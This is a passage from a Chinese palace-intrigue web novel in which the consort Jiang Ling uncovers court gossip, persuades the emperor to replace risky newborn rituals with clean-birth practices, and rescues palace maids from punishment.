元明帝自动忽略了江舲的心声,瞬间变了脸,继续吩咐道:“段美人得了失心疯,即刻搬进皇庙,在佛前吃斋念佛,静心修养。” 江舲愣了下,道:“皇上,段美人才刚生产,身子虚弱。臣妾恳请皇上念着她的失子之痛,待她养好身子之后,皇上再将罪不迟。” “她诋毁你,污蔑三皇子,你还替她求情。”元明帝不悦地道。 段美人生产时几乎快没了命,以她的体力,精力,脑子,江舲断定她当时想不到这些,背后肯定有人挑拨指使。 江舲接连升份位,学着林贵妃她们的做派,道:“皇上,臣妾并非大度,只想为三皇子积德。段美人只要亲自前来赔罪,称其是发了癔症,污蔑了臣妾与三皇子,臣妾从此不再计较。” 元明帝唔了声,颔首道:“你说得极是,既然是从她口中说出来,她该亲自赔罪,洗清三皇子的污名。” 江舲道:“何况,臣妾以为,段美人恐是听到了传言,才说出了那些话。段美人固然活该,背后挑唆之人,才是不可饶恕。” 元明帝怔了怔,对黄梁道:“你暗自去查,朕要将背后那些挑拨是非者,舌头全部拔了喂狗!” 黄梁赶忙应下前去办差,元明帝略微坐了一会后,回了垂拱殿。 郑择吴适山前来给江舲磕头谢恩,升官进爵并未给他们带来喜悦,看上去精神都不大好。 “快快请起,无需多礼了。”江舲叫两人起身,沉吟了下,道:“你们应当累了,回去洗漱好生歇息吧。” 郑择面容苍老疲惫,看上去无精打采,他抹了把脸,抬手俯身下去,道:“臣已经老了,着实禁不起惊吓。臣打算辞官归乡,恐此次一别,以后再难相见,娘娘的大恩,臣无以为报。惟愿娘娘与三皇子,长命百岁,福寿安康。” 对他的心情,江舲能够理解。她并未多劝,颔首道:“常言道,大难不死必有后福,太医正与家人以后。定能平平安安。” 郑择俯身道谢,吴适山垂着头,道:“臣亦想辞官归乡,以后开间药铺养家糊口。” “我能理解吴太医的想法,只你们两位一并辞官,皇上只怕会不喜。”江舲如实道。 吴适山苦涩地道:“臣也想到了,皇上给臣升官,恩赏,臣却不领情,乃是藐视皇上,大逆不道。臣打算过上一年半载,再提辞官之事。” 江舲暗中将元明帝骂了一通,都怪他混账透顶,拿人命不当命。 “娘娘的大恩,臣莫不敢忘。有件事,臣觉着娘娘该知晓,先前臣脑子混乱,未能及时告诉娘娘。” 吴适山看了眼守着摇车的文涓,江舲示意他无妨,他便小声说了下去:“臣负责给后宫娘娘们把平安脉,后宫的宫女内侍,大多都认识。臣是大夫,城中的稳婆,也认识得七七八八。选进宫的稳婆,在官府皆要录名,城中也排得上名号。给娘娘与段美人接生的几个稳婆,臣与她们打过数次交道,甚是熟悉。” 郑择是太医正,不似吴适山,对这些并不清楚。他惊讶不已,道:“吴太医是称,四皇子真是被人所害?” 吴适山摇摇头,道:“段美人的胎儿过大,又是头胎。如四皇子那般生下来的婴儿,有些甚至当场没了气。臣以为,稳婆见多识广,以四皇子的情形,无需多此一举动手脚。四皇子生下来之后,奶娘奉命前来喂养。臣与郑太医正当时守着四皇子,奶娘准备进屋,见我们皆在救治四皇子,便退了出去。臣当时一心顾着四皇子,对此并未多管。臣记起来,奶娘也姓张,夫家婆母以前做过稳婆,前些年去世了。张稳婆与张奶娘婆母认识,与张奶娘连亲认了姐妹。张奶娘的娘家在观音巷,赵嫔身边的谢嬷嬷,家也在观音巷,同住一间大杂院。臣听到了些娘娘与三皇子的风言风语,这些胡话,稳婆走门串户接生,传得最为活灵活现。” 段美人与赵嫔因为寝宫之事,曾经发生过嫌隙。张奶娘张稳婆与谢嬷嬷之间弯弯绕绕的牵连,如此看来,那些传闻,定与赵嫔脱不了干系! 赵嫔与江舲平素并无往来,她为了报复段美人,顺道打击江舲罢了。 江舲气恼不已,不过她按耐住并未声张。元明帝已下令黄梁在查,端看他查能什么结果。 段美人与赵嫔之间的斗争,把她也算计了进去。如果有打回去的机会,一定不会手软!《 》 60-70 第61章 大胤的习俗众多, 在孩子出生后第三天,认为婴儿从母亲身体内带来了不洁与污秽。上至皇族达官贵人,下至平民百姓, 皆要给婴儿洗三。 皇子公主的洗三格外隆重,由礼部出面主持进行。皇子用金澡盆, 公主用银澡盆。澡盆中放进用艾叶槐枝熬制的澡汤,亲朋们前来添盆, 往澡盆中扔进金银玉器等物, 由经验丰富的收生婆子给刚出生的婴儿洗澡,唱吉祥颂词。 唱毕洗完之后, 接下来便是处理婴儿的脐带残端与灸囟门,亲朋们传看抱婴儿, 说些吉祥庆贺的话。 洗三习俗由来已久, 文涓她们皆以为江舲知道,无人提及此事。 在这天傍晚,江舲方听到文涓提起, 被震惊到无以复加。 因着医疗水平落后, 婴儿夭折率高。夭折率太高, 给婴儿举行祈福的仪式, 结果造成更高的死亡率。 习俗与观念非一朝一夕能更改, 即便后世科技如此发达, 有许多人的认知,依然陈旧到腐朽。 以前, 江舲在后宫中纯属苟活, 自从有了孩子,心态已经悄然改变。 她该做些什么,为了她与三皇子。也为了与她一样, 能顺利生产的妇人们,侥幸来到这个世间的孩子们。 亲自哺乳已算是异类,江舲当然不会让三皇子冒险。 既然如此,她要将洗三等习俗中的糟粕,变成她的政治资本! 江舲道:“文涓,你去请皇上来,我有话跟皇上说,三皇子不洗三。” 文涓惊住,道:“娘娘,家家户户都要洗三,礼部那边定都已准备好,往年进宫来添盆的皆是皇亲国戚。娘娘的母亲也会进宫来呢。” 江舲朝天翻着白眼,道:“大千世界三千凡尘,你我肉眼看不到的何止三千。大人祈福热闹一下就算了,别折腾刚出生的婴儿!三皇子不会被抱出去洗,也不能让她们抱来抱去,更不能让他们清理脐带灸囟门!” 她本不该生气,只想到洗三习俗的由来,就止不住地愤怒:“若不是母亲拿血肉滋养,胎儿怎能长大成活。这些混账东西,成天认为经血污秽,生产污秽。妇人冒着九死一生,就生出这么一群禽兽不如的东西!” 元明帝一得闲,便迫不及待来到繁英阁。谁曾想,一进屋,他就听见江舲在骂人,诧异地问道:“怎地了,谁又惹了你生气?” 文涓赶紧起身请安,江舲屈了屈膝,元明帝伸手扶住她:“你下榻作甚,快上去躺着。” 先前走动了好一阵,江舲也累了,就势在榻上坐下。元明帝靠着江舲坐着,探头看向摇车中呼呼大睡的三皇子,眸中不由自主露出了慈爱。 “怎地了?”元明帝让文涓退下,柔声问道。 江舲将洗三之事说了,“皇上,三皇子还小,天寒地冻的时节,臣妾不敢拿他出去折腾。” 元明帝怔住,劝道:“三皇子的兄长姐姐们都洗过,且都安然无恙,你只管放心便是。” “臣妾不放心,洗三着实不可取。”江舲断然道。 洗完之后,往澡盆中添的金银财宝,皆赏赐给收生婆字与操持礼仪的官员。 江舲不想挡人财路,为遇到的阻力小些,折中道:“庆典祈福可以照办,但并非是母亲身体内带来的污秽不洁,而是庆贺新生命的降临。刚生出来的婴儿身子弱,在脏兮兮的水中洗一通,这里面的危险,可想而知。别说婴儿了,就是大人,也经不起这般折腾。皇上若不信,可以让人去打听,洗三之后生病的婴儿有多少,脐带因此化脓,灸伤囟门。” 落脐带是用丝绒将脐带系紧,用剪子剪断,断处用艾绒灼烧残端。灸囟门亦一样,用艾绒灸,意为“封窍”。 简直堪称酷刑,能活下来,真正是全凭运气。 元明帝将信将疑,他沉吟了下,唤来黄梁吩咐道:“去传郑择吴适山来繁英阁。” 黄梁忙应下前去传旨,元明帝打量着江舲,她的气色比前两日好转不少。 摇车中的三皇子,身上只盖着薄被褥,腿脚也并未捆绑,扎着小拳头放在嘴边,脸蛋红扑扑,睡得很是安稳。 “他衣衫单薄,仔细着凉。”元明帝关心地道。 屋中放着薰笼,温暖宜人。恐太干燥,挨着薰笼放着水盆保湿。窗棂开着缝隙透气,缝隙处用布帘挡着,免得寒风直接吹到人身上。 “屋中不冷,他比你我多穿一件就足够了。”江舲手轻轻探到三皇子的后颈,感到温暖干燥,便将手收了回来。 元明帝唔了声,见江舲坚持主见,且她怀孕生产都平平安安,不知不觉对她深是信任,就没再坚持。 “朕已替三皇子选好大名,如今先取乳名叫着,待周岁时,再将大名添入宗谱。” 元明帝沉吟着,正待说出乳名,江舲抢先道:“乳名就叫小舟吧。” “小舟?”元明帝念了句,旋即笑起来:“泛舟江中,你是让他随了你的姓。” 江舲姓江名舲,舲亦为舟。三皇子大名肯定不会随她,乳名她当然会争取。 “皇上替小舟取了什么大名?”江舲不欲多说,转而问道。 元明帝道:“从允字辈,名瓒。瑟彼玉瓒,黄流在中。瓒,美玉也。” 江舲不懂“瑟彼玉瓒,黄流在中”,大皇子叫萧允瑞,二皇子萧允珏,三皇子亦从“王”字旁的字。她不禁暗搓搓想道:“等皇子多了,到那时,王字旁的字只怕不够用。” 元明帝斜了眼江舲,慢吞吞道:“庄才人身子一直不好,瘦弱不堪,与你有身孕时判若两人。你可有什么法子,让她能好转起来?” “皇上,臣妾并非太医,每人的身体亦不同,臣妾不敢胡乱建言。” 江舲看穿元明帝那点小心思,暗中将他鄙夷了一番,如实地道:“皇上若硬要臣妾说,臣妾只能说,少吃药,多吃饭食。要吃得杂,多吃鱼虾,各式菜蔬豆腐,五谷,干果。平时别躺着,尽量多走动。” 如今她又是生儿子,又是升份位,所作所为皆让人注目。 一来她本无害人之心,二来,庄才人要是顺利诞子,能替她引开一部分的火力。 宫妃怀孕时的膳食,皆要录入脉案,呈到元明帝案前,留太医院保存。江舲所言,与她的脉案膳食并无出入。 元明帝见她毫无保留,脸上笑容愈发浓,戏谑道:“你以前成日躺着,如今倒变得勤快起来。” 江舲不想搭理元明帝,暗暗白了他一眼。这时黄梁领着郑择吴适山到来,元明帝怕打扰到江舲母子,自发起身前去明间,询问了落脐带炙囟门之事。 郑择与吴适山诊治过不少的婴儿,两人一起回忆着,道:“确有脐带化脓,高热不退之事发生。另有炙囟门时,婴儿肌肤娇嫩,时有炙伤的情形。即便再小心,婴儿啼哭不止,臣听着颇为不忍。” 元明帝神色沉重,道:“如此看来,落脐带炙囟门,万万不可再做。洗三乃是庆贺,婴儿尙孱弱,不该胡乱折腾,婴儿所用之物替代即可。” 两人对视一眼,忙躬身应是,郑择道:“皇上圣明,洗三一事不可过于繁琐,反倒对婴儿不利。只脐带如何处置,臣不敢贸然决断,待臣与诸太医商议之后,再呈给皇上定夺。” 江舲在次间听到,扬声道:“脐带别去碰,保证干燥洁净,自动会脱落。另外,接生的稳婆,治疗的大夫,剪断脐带时的剪刀,产房,皆要保证洁净。无论是用剪子还是刀,皆要煮沸一炷香功夫以上。每用一人,都要更换,不可留着再用。” 她将在大胤能做到消毒防感染的方式一一细说了,“有人生病时,大家都怕过病气。发生时疫瘟疫时,大家都争相逃走,连病人的衣物都不敢碰,皆是一样的道理。病气,衣物上的病症,我们都看不见。水煮火烧,我们吃进肚中的饭菜,方不会肚疼,腹泻。” 郑择吴适山见识过江舲如何收拾产房,陈稳婆也说起过,在进产房之前的规矩。 对江舲的话,两人信了七八成,接连问道:“照着娘娘的法子来,以后便不会再有高热化脓腐烂,皆能活下来了?” 江舲失笑道:“当然不能。不过,只要保持洁净,肯定会有所好转。两位可以先用起来,以观后效。” 郑择吴适山忙着应下,见礼告退。元明帝回到次间,笑着道:“若你的法子真有效,救人一命胜造七级浮屠,你救了成百上千的人,以后他们该为你立生祠才是。” “臣妾可不要这些。”江舲忙着摆手,眉头紧皱起来,嫌弃地道:“臣妾真不图这些虚名,何况,生祠中供着的贡品,真真是浪费了。” 被碰成神仙,就下不了凡。睿智,无私仁慈的名声,才是实际的好处! 元明帝被逗得哈哈大笑,道:“你只记挂着吃吃喝喝,连贡品都惦记着!” 三皇子被元明帝的笑声吵醒,在摇车中蠕动着哼唧起来,江舲连忙轻轻拍着他,轻声哄着他入睡。 “臭小子!”元明帝声音小下来,笑骂了句。 时辰不早,元明帝让黄梁传膳,“捡着淑妃的膳食来,朕与淑妃一道用。” 江舲惊讶了下,虽然不曾做声,心中却道:“牛粪还真是聪明,知道我的膳食好,连御膳都不用,跟着我一起吃了。” 元明帝被江舲腹诽,得意地挑了挑眉。文涓进来守着三皇子,江舲与元明帝一起去明间用膳。 黄梁领着内侍宫女,取出碗碟将食案摆得满满当当。以鱼虾蛋为主,加上白灼猪肝,冬日的各式菜蔬,豆腐,一小碗五谷杂粮饭,一小把核桃。 菜的样式多,量少,元明帝不知不觉中,将所有的饭菜吃得一干二净。 饭毕,元明帝满足地吃着茶,笑道:“繁英阁的饭菜果真不错,以后朕都随着你一道用了。” 江舲不客气地道:“不过是些常见的菜式,皇上让御膳房照着做便是。” “你的菜皆不甜,清淡可口。”元明帝挑了挑眉,不紧不慢道:“朕觉着你的口味,甚合朕的胃口。朕想在何处用膳,淑妃管不着。” 江舲见元明帝赖在她这里,暗中骂了句,问道:“皇上查的翠微阁之事,不知可有眉目了?” 元明帝一怔,眼眸垂下,一时变得神色莫名,许久都不曾做声。 江舲觑着元明帝的反应,心里不禁一咯噔。 莫非,里面有更大的隐情? 第62章 “今朝永安伯进宫来面圣, 称这些年深受圣恩,子孙却不肖,愿还回爵位。子孙们领个闲差度日, 做个太平闲人便足矣。” 元明帝边说边看向江舲,不自在地道:“永安伯上了年岁, 当年与太祖打江山的勋贵,如今余下两三家。永安伯府远离朝廷, 最为老实不过。” 江舲听明白过来, 永安伯消息灵通,动作还真快, 他拿着伯府的爵位,换取段美人在后宫的太平安稳。 这一招, 永安伯看似大方, 实则是好一手算计! 永安伯府并非世袭罔替,到他儿子这一代该降等袭爵,为开国子爵。到他孙子这一辈再降等, 则变成开国男爵。 爵位共为十二等级, 子爵为十一等, 品级为五品。男爵为最末等, 品级为六品。 勋爵有俸禄食邑, 大胤的食邑为虚封。食邑五百户, 只是一种恩宠。实封的食邑,每户也只大约出二三十个大钱, 并非所有的封户赋税都归其所有。 永安伯的弟子都没甚出息, 只领了虚衔闲差。偌大的伯府,靠着永安伯的四品俸禄,祖上留下来的铺子田产度日。 男爵之后, 永安伯府变成了平民百姓。四皇子虽夭折,段美人还年轻,以后能再生。 若能一举得男,至少能封个郡王。郡王的外家,远比没落的男爵划算。 江舲静静聆听,就那么一瞬不瞬望着元明帝。 不知为何,元明帝迎着江舲明亮的双眸,感到越发心虚,每个字都说得无比地艰难:“永安伯上了年岁,身为大胤的忠臣后人,朕也觉着于心不忍。段美人毕竟年轻,乍失去四皇子伤心过度,被人教唆着说了几句胡话。如今她已经知错,朕就网开一面,打算待她身子恢复之后,降为才人,让她前来给你好生赔个不是。” 惟恐江舲发怒,元明帝陪着小意道:“朕定不会亏待你,待小舟满周岁,朕就封你为宸妃。” 宸妃是文宗为自己的宠妃,特意添的妃位。好比后世的皇贵妃,乃是后宫的嫔妃,宠妃太多,造成的通货膨胀,半点都不值钱。 且无论宸妃还是皇贵妃,顶天只是妃,与中宫皇后相差岂止一品半品,而是本质上的区别。 皇后为一国之母,无论皇贵妃贵妃宸妃,皆是一国之姨娘。 元明帝想要收回爵位,并非全部为了段美人,与前朝的朝政也有关系。 大胤立国上百年,萧氏子孙遍地开花。仅养活皇室宗亲,须得耗费大量的钱粮。 先帝先先帝的儿子们,已经将田产宅邸瓜分殆尽。皇帝不断生儿子,舍不得自己的亲生儿子吃亏,想方设法替他们考虑打算,削爵便是常见的手段。 元明帝是皇帝,九五之尊,他的歉疚,比宠爱有用。 若她不满吵闹,驳了他的面子,反倒得不偿失。 江舲也不愿意太懂事,懂事的人会受委屈,吃亏。她也不说话,就那么安静坐着。 元明帝慌了,忙道:“都是伺候的宫女们不得力,段美人身边伺候的宫女,朕已经让宫正司带走,另差;老成的教养嬷嬷去她身边,好生教导她。” 江舲这下忍不住了,难以置信看着元明帝,道:“皇上的意思,要打杀了段美人身边的宫女?” 元明帝皱眉,道:“她们没当好差,尽到劝导之责,朕照着宫规处置了她们,何错之有?” 芳荷被杖责,被送到柳树巷后,伤重不治而亡。 虽然芳荷是自作自受,毕竟朝夕相伴过,江舲每每想起来,总是会后悔自责。 芳荷罪不至死,要是当时能替她说一句话,宫正司的棍子落下去便会轻一些。 后宫争斗虽然兵不见刃,江舲却并非真正的大胤人。她并非蠢得无法与她们过招,而是她有自己的底线,做不到如此漠视生命。 前些时日薛氏进宫时,江舲托付江文修找到芳荷的家人,将她留下来的银两细软,转交她的亲人们。 然而芳荷,终究是江舲抹不去的遗憾。 “她们要如何尽到劝导之责,她们劝得听,她们敢劝,她们拦得住吗?真是混账东西!你为了心爱的宠妃,要填多少人命进去!混账混账混账!背后有人使坏,老子才不信你查不出来!赵嫔你绝口不提,又是看在二公主的份上对吧?只你心爱的人重要,都是爹生娘养的,其他人的命都不是命了?礼不下庶人,自以为是知礼仪廉耻的贵人,能不能做个人,要点脸!” 江舲心中狂骂,嘴里却道:“宫女何其无辜,臣妾求皇上饶她们一命。” 元明帝被江舲骂得恼怒起来,脸色沉了下去。正欲发火,三皇子在摇车中哼唧哭了起来。 江舲顾不得元明帝,忙探身看去。见三皇子蹬着小腿,小嘴蠕动着,似乎是饿了。 “别哭别哭啊。”江舲柔声哄着,将他搂在怀里,侧转身去喂奶。 三皇子吃到奶,立刻停止了哭泣。江舲垂首望着怀中的稚儿,心中默默道:“吃吧吃吧,平平安安的长大。阿娘对你啊,什么都不求,只盼着你以后一定要做个人,做个有人味的人。” 元明帝的怒火,倏地就灭了。他怔怔望着江舲,烛光下,她眼尾泛着红意,周身散发出莫名的悲凉。 一时间,元明帝的心,情不自禁跟着牵扯着难受。 在后宫之中,对她就如对自己一般了若指掌。她的所思所想,所喜所悲,有时让他生气,有时让他哭笑不得,有时让他悸动震惊。 好比眼前的她,她因着自己并无甚抱怨,却为区区奴仆求情,盛怒狂骂。 元明帝不明白何为有人味的人,兴许,便是如她这般。 冬日夜晚寒意凛冽,呼吸间皆是白雾。走出繁英阁,元明帝回首望去,廊檐下的灯盏氤氲,温暖而宁静。 犹如她所在的地方,总是透着舒心。元明帝嘴角止不住上扬,那是她在重重的规矩中,总会找到最自在的法子。 不争不抢,活得坦坦荡荡,问心无愧。 走了几步,元明帝的脚步缓下来,道:“黄梁,你去宫正司,放了翠微阁的那几个宫女。那个张稳婆,奶娘,杖责十板子,留她们一命。赵嫔罚禁足半年。以后……翠微阁的宫女就放出宫吧,让她们出宫前,来繁英阁磕个头。” 黄梁微微一愣,飞快地回头看了眼灯火明亮的繁英阁,赶忙应旨,将手上灯笼交给张善,匆匆赶去了宫正司。 宫正司。 宋宫正在直舍中准备安歇,听到黄梁前来,赶忙披上衣衫,嘀咕着朝外走去:“他怎地来了?” “皇上有旨。”黄梁朝黑漆漆的屋子望了一眼,开门见山道:“翠微阁的几个宫女,都放了吧。张稳婆张奶娘,杖责十板子,仔细着喽,莫要打死了。让白芹她们几人,前去繁英阁磕头谢恩。” 宋宫正意外不已,忙唤来值守的宫女,一一交代了下去。 “外面冷,进屋吃杯茶吧。”宋宫正转身进屋。 “也好,讨你一杯热茶吃。”黄梁袖着手,打了个喷嚏,跟在身后进了屋。 暖釜中装着的茶还热着,宋宫正倒了盏放在黄梁面前,侧身在案桌前坐下,问道:“可是另有其人?” “哪有别的人,就是她们犯了事。”黄梁啜了口茶,朝繁英阁的方向抬了抬下巴,感慨地道:“你没听到让她们去繁英阁磕头,是那位替她们求了情。” “淑妃娘娘?”宋宫正平时皆沉着冷静,此刻却睁大眼,满脸的震惊。 “唉,咱们这些听差办事的,主子的话,难道敢不听?便是那卫大学士劝诫皇上,他也劝不住。” 黄梁苦笑了声,神色怅然道:“翠微阁那几个宫女,白芹栀子若丧了命,真成了冤死鬼。我倒是盼着,待我有朝一日犯了事,能有人替我求个情,留我一具全尸,能将我收敛埋葬,别扔到乱葬岗中,被野兽咬着吃喽!” “瞧你,尽说些晦气的话。”宋宫正面无表情嫌弃着,心里却戚戚然。 他们虽是女官宦官,终究是奴仆。做到内侍都知蔡万年那般高的位置,一声旨意,也就落了个扔到乱葬岗的下场。 黄梁点到即止,放下茶盏站起身,“我还得回去当差,你这茶都快凉了,还是繁英阁的茶吃着暖和。” 宋宫正呵呵笑了声,送走黄梁之后,在案桌前坐下来,失神望着前面的灯盏,许久都了无睡意。 翌日,三皇子的洗三庆贺,元明帝改在揽月殿进行。 江舲因着坐月子,不宜出门。天气寒冷,只取了件三皇子的衣衫前去,收生婆子对着衣衫唱了祝词,取了金盆中的水,往衣衫上沾了沾,洗三仪式便完成。 元明帝亲临,威风凛凛坐在御座上,肃然看着底下的仪式。 添盆的一众人虽吃惊不已,倒无人敢出声。 仪式结束,元明帝令黄梁收起了三皇子的衣衫,将金盆中的金银珠宝,悉数赏赐给了收生婆子与礼部官员,道:“以后宫中洗三皆如此般,用衣衫代替婴儿。待洗毕,将衣衫妥善收藏,与婴儿胎发收在一起,佑其平平安安长大。” 萧氏的一个老郡王妃着实疑惑,禁不住起身问道:“三皇子人呢,洗三怎地能拿一件衣衫来?” 元明帝笑呵呵道:“叔祖母,你老上了年岁,无论寒暑,皆要保重身子,不宜时常见水清洗。方才出生的婴儿,身子亦娇嫩柔弱着,哪能经得起这般折腾。以后太医院那边,会将里面的学问,悉数昭告天下。” 老郡王妃尚未反应过来,元明帝吩咐黄梁开始传膳,筵席开始。 殿上的众人心思各异,有人觉着此般甚好,有人觉着元明帝是乱了习俗规矩。忌惮于他是皇帝,无人敢当面质问,等着太医院那边的说法。 元明帝吃了两盏酒便离开,薛氏与陶氏两人哪还坐得住,见状赶忙去了繁英阁。 江舲正与文涓一起,替三皇子擦拭清洗之后的屁股,包裹尿布。薛氏下意识要上前帮忙,文涓笑着侧身挡住了,道:“老夫人快坐吧,奴婢与娘娘手脚快,几下就收拾妥当了。” “阿娘,嫂嫂,你们坐。”江舲打着招呼,将包裹好的三皇子抱在怀里,笑道:“他方才吃过奶,瞧他又困了。” 薛氏朝襁褓中的三皇子看去,眼神慈爱,笑道:“你这般大的时候,也是吃了睡,睡了吃。” 陶氏夸赞道:“生得跟皇上一模一样,以后是个有大福气的。” 江舲失笑,生在帝王家,肯定是天底下最大的福气。不过,她斩钉截铁道:“他眉眼都像我,这样才俊俏。” 陶氏陪着笑,薛氏嗔怪地看着江舲,犯愁地道:“娘娘,先前洗三的规矩,我觉着甚是好,当年你与大郎洗三时,我也舍不得拿你们出去。只听说你没留奶娘,亲自喂养三皇子,京城都议论纷纷。永安伯府的永安伯,竟然亲自登门,说是府中妇人无知,在背后胡乱议论是非,拿了厚礼来赔罪呢。” 江舲脸上的笑容,逐渐就淡了。 永安伯登门,可以看做是在替段美人赔罪。 另外,亦可以看做,永安伯是在威胁。 江氏父子愚钝,对宫中发生之事毫无警觉。若要对付他们,轻易而举。 永安伯要真有那么聪明厉害,不会在朝堂上毫无作为。 在他背后,定有高手指点! 第63章 江舲不放心, 肃然道:“阿娘,嫂嫂,你们回去要叮嘱阿爹大哥, 只管做好自己的差使,以后别再搭理永安伯。” 薛氏陶氏两人立刻紧张起来, 忙着问道:“可是出事了?” 江舲心里将元明帝骂了一气,江氏一家离得远, 她还能轻松些。如今被弄到京城来, 隔着高高的宫墙,京城发生的事她一无所知 突然, 江舲想到了郑择吴适山,这是她在宫外唯一的人脉。正要说话时, 紫衫进屋来, 回禀道:“娘娘,白芹栀子她们来了,在屋外给娘娘磕头谢恩。” “给我磕头谢恩?”江舲愣了下, 脑子一动, 对紫衫道:“你将白芹栀子领到偏屋。” 紫衫应是退出, 江舲让文涓看着摇车, 对薛氏陶氏道:“阿娘嫂嫂你们且坐着。” “哎哟, 你还在坐月子, 可别乱走动。”薛氏见江舲要出屋,忙心疼担忧起来。 陶氏机灵, 从文涓手上接过风帽披在江舲肩上, “屋外冷,娘娘别冻着了。” 江舲道了谢,穿戴好风帽前去偏屋。白芹栀子惊恐茫然地站在屋中, 两人形容憔悴,嘴唇干燥得裂开渗血。见江舲进来,双股颤颤着就要跪下。 “别动别动。”江舲忙拦着了,上下打量着她们,问道:“你们可是身子不便?” 白芹惊慌地道:“回娘娘,奴婢与栀子被宫正司带了去,各自打了十大板,驱逐出宫。” 栀子努力撑着,屈膝下去,抿了抿嘴,沙哑着嗓子道:“奴婢多谢娘娘救命之恩。” “紫衫,去拿热茶点心来。”江舲吩咐下去,对两人道:“你们先坐,若坐着疼的话,不拘礼仪规矩,先借着椅子撑一撑。” 白芹栀子实在站不住,赶忙谢恩,拖着双腿走到椅子前,侧着身子勉强坐了下来。 紫衫领着小宫女送了茶水点心进屋,江舲道:“你们先垫一垫,吃饱了再说。” 两人进了宫正司冰冷的黑屋,两人早就吓破胆,更是一整天滴水未进。谁曾想竟只挨了十大板,重见天日活了过来。此时见到热茶点心,顿时饥肠辘辘,顾不得其他,狼吞虎咽吃了起来。 江舲待她们吃了一会,问道:“你们被逐出宫,身上可有盘缠行囊?家乡在何处,以后有何打算?” 两人被打板子后赶了出来,除去身上的衣物,直舍的衣物与积攒下来的细软贵重之物,早就被内尙仪局的罚没收走。 如今正值寒冬,两人衣衫单薄,身无分文。虽保住了性命,出宫之后只能流落街头。 白芹忍不住哭了起来,道:“奴婢家在明州府,家里穷,阿爹与两个哥哥,都在码头做脚夫苦力,阿娘操持家务,浆洗缝补衣物填补家用。京城离明州府上千里,奴婢不知如何回去。” “奴婢家在平江,离京城也远,爹娘赁官田种地为生。”栀子见白芹哭,跟着也哭了起来。 江舲叹了口气,道:“你们别哭了,我问你们,也是考虑到你们就算身上有盘缠,两个年轻小娘子,要如何回到家去。如今你们身上又有伤,大冬天的,不被坏人欺负,夜里也难过。” 两人愈发绝望,流泪不止。 江舲道:“这样吧,如果你们一心要回家,盘缠我替你们出了。等下出宫之后,你们先随着我阿娘嫂嫂前去,先留在江家暂且养一养伤。等我阿爹大哥寻到你们家乡可靠的商队,捎带着你们回去。若你们不想回去,以后就留在江家当差做事。” 白芹栀子浑身一震,泪眼顿时迸发出亮光,不顾一切激动地跪在地上,砰砰地磕头:“多谢娘娘,娘娘就是奴婢的再生父母,娘娘的大恩,奴婢就是做牛做马,也报答不了。” “快起来快起来,你们身子弱,别磕晕了。”江舲听到头与地相碰清脆的声响,心里涌起难言的酸楚。 两人一边抹泪,一边高兴地搀扶着起了身。白芹咬了咬唇,坚定地道:“娘娘,奴婢不回家,愿留在江家做奴婢。娘娘放心,奴婢一定好好当差做事,若是负了娘娘的恩情,奴婢会下阿鼻地狱,天打雷劈!” 栀子犹豫了下,跟着道:“奴婢也愿意卖身给江家,一辈子侍奉老夫人与夫人。” “你们先别勉强,待养好伤再说。”江舲说了句,让她们先吃茶等着,起身回了次间。 薛氏陶氏迎了上前,江舲摆摆手,先没脱风帽,道:“阿娘嫂嫂,我有件事与你们说。” 她将白芹栀子的事简明扼要说了,“她们在宫中当差好些年,规矩学得好,识字机灵,不比京城世家大族贵人家的仆从差。京城讲究多,家中没个可靠的仆从,总归是不行。你们先将她们带回去,也别管我,要是觉着好,就让她们留下。若是觉着不喜,也别为难她们,将她们稳妥送回家。” 薛氏陶氏听到两人差点被杖毙,吓得脸都白了,一下紧张得话都说不出来。 江家到底根基太浅,从小县来到遍地权贵的京城,见识反应皆缺乏,需要可靠忠心的帮手。 白芹栀子历经过生死,江舲对她们有救命之恩。有两人在薛氏陶氏身边提点着,江舲能放些心。 不过,江舲不会强求,毕竟要双方都心甘情愿。否则,反而会弄巧成拙。 “阿爹大哥身边,也要可靠的师爷帮手,我再替他们寻一寻。” 江舲沉吟着,让文涓去取了二十两银子来交给薛氏:“阿娘你拿着,先回去给她们置办一身更换的厚衫,养一养伤。” “哎呀,家里还有银子,娘娘有了三皇子,用银子的地方多,快些留着。” 薛氏回过神,赶紧推辞道:“两人说起来也可怜,无家可归的小娘子,又受了伤。哪怕是我遇到了,也会帮上一帮。” “阿娘拿着吧,她们要是归家,余下的银子,就当做她们的盘缠。她们要是留下来,每个月的月俸,就按照在宫中当差时的来。四季衣衫,年节时的赏赐都不可缺。既然要用人,千万别克扣苛待。” 江舲笑起来,道:“我如今俸禄多了,手头宽裕,不缺这点银子。要是真缺,我会去皇上那里取。” 薛氏听得睁大眼,江舲指着摇车,笑吟吟道:“他有月俸,他的月俸,比我还要多呢。” “娘娘真是,三皇子都没满月,你这个做阿娘的,就惦记着他的月俸了。” 薛氏嗔怪着笑起来,让陶氏收起了银子,“娘娘放心,我们可不是那刻薄的人家。家中韩嫂子夫妻原本是赁来的帮工,见我们家待人宽厚,日子过得舒坦,求了又求,签了身契,跟着进了京。” 陶氏也跟着保证,江舲道:“下出宫之后,你们就将她们带回去。她们在偏屋等着,我先让你们去见一见。” 几人来到偏殿,白芹栀子见到薛氏陶氏,赶忙恭敬地屈膝见礼。大家说了几句话,时辰不早,薛氏陶氏告辞出宫,白芹与栀子拿着内尚书省离宫的手谕,离开了她们当差多年的皇宫。 解决了白芹栀子的事,江舲吩咐紫衫,将郑择吴适山两人请了来。 等他们请过脉,江舲道:“两位坐吧,我有件事,要劳烦两位。” 郑择吴适山忙道不敢,“娘娘有事,只管吩咐一声就是。” “两位都知道,我阿爹原本是小县令,大哥是闲人,得皇上的厚爱召进京,领了苑囿的差使。唉,前面李家管着苑囿时,就出了一档子事,工部从尚书到底下的郎中,罢官的罢官,贬谪的贬谪。如今苑囿的花草,还是时常不够,须得内库从民间采买。” 江舲神色真诚,毫不隐瞒道:“我对大哥阿爹说,要对得起自己的良心,莫要乱吃要索拿。这世上,良心不值几个钱。苑囿这一块是肥缺,不知多少人觊觎眼红。只凭着阿爹大哥,如何应付得了那些人精。两位熟悉京城,我想拜托两位帮忙,替阿爹大哥寻摸可靠的师爷。” 郑择认真斟酌起来,吴适山沉吟着道:“臣倒认识不少三教九流的人,好些人虽聪明,就是太过灵活,不守规矩了些,臣恐怕他们会给娘娘惹来麻烦。” 江舲高兴地道:“太过规矩,就有失勇了。阿爹大哥本就老实,要是师爷再一样,就一堆老实人被欺负。若精通律法,懂得衙门的那些弯弯绕绕,有胆识,行事有章程顾忌,那便最好不过。至于月钱酬劳,这些都好说。” 吴适山道:“臣明白了。待臣仔细打听过,有眉目时再给娘娘回话。” 